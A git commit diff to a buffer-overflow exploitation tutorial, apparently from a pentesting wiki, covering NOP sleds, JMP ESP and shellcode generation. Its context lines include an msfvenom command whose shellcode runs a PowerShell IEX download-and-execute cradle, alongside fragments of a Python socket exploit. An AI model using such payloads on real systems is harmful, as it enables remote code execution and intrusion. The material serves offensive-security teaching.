GitBook: [master] one page modified

This commit is contained in:
CPol 2020-12-28 15:40:10 +00:00 committed by gitbook-bot
parent 2b40bd7d3a
commit 536d60fa1b
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF

View file

@ -194,9 +194,9 @@ msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Obj
If the exploit is not working but it should \(you can see with ImDebg that the shellcode is reached\), try to create other shellcodes \(msfvenom with create different shellcodes for the same parameters\). If the exploit is not working but it should \(you can see with ImDebg that the shellcode is reached\), try to create other shellcodes \(msfvenom with create different shellcodes for the same parameters\).
Add some NOPS at the beginning of the shellcode and use it and the return address to JMP ESP, and finish the exploit: **Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit:
```text ```bash
#!/usr/bin/python #!/usr/bin/python
import socket import socket
@ -245,6 +245,10 @@ except:
print "Could not connect to "+ip+":"+port print "Could not connect to "+ip+":"+port
``` ```
{% hint style="warning" %}
There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode
{% endhint %}
## Improving the shellcode ## Improving the shellcode
Add this parameters: Add this parameters: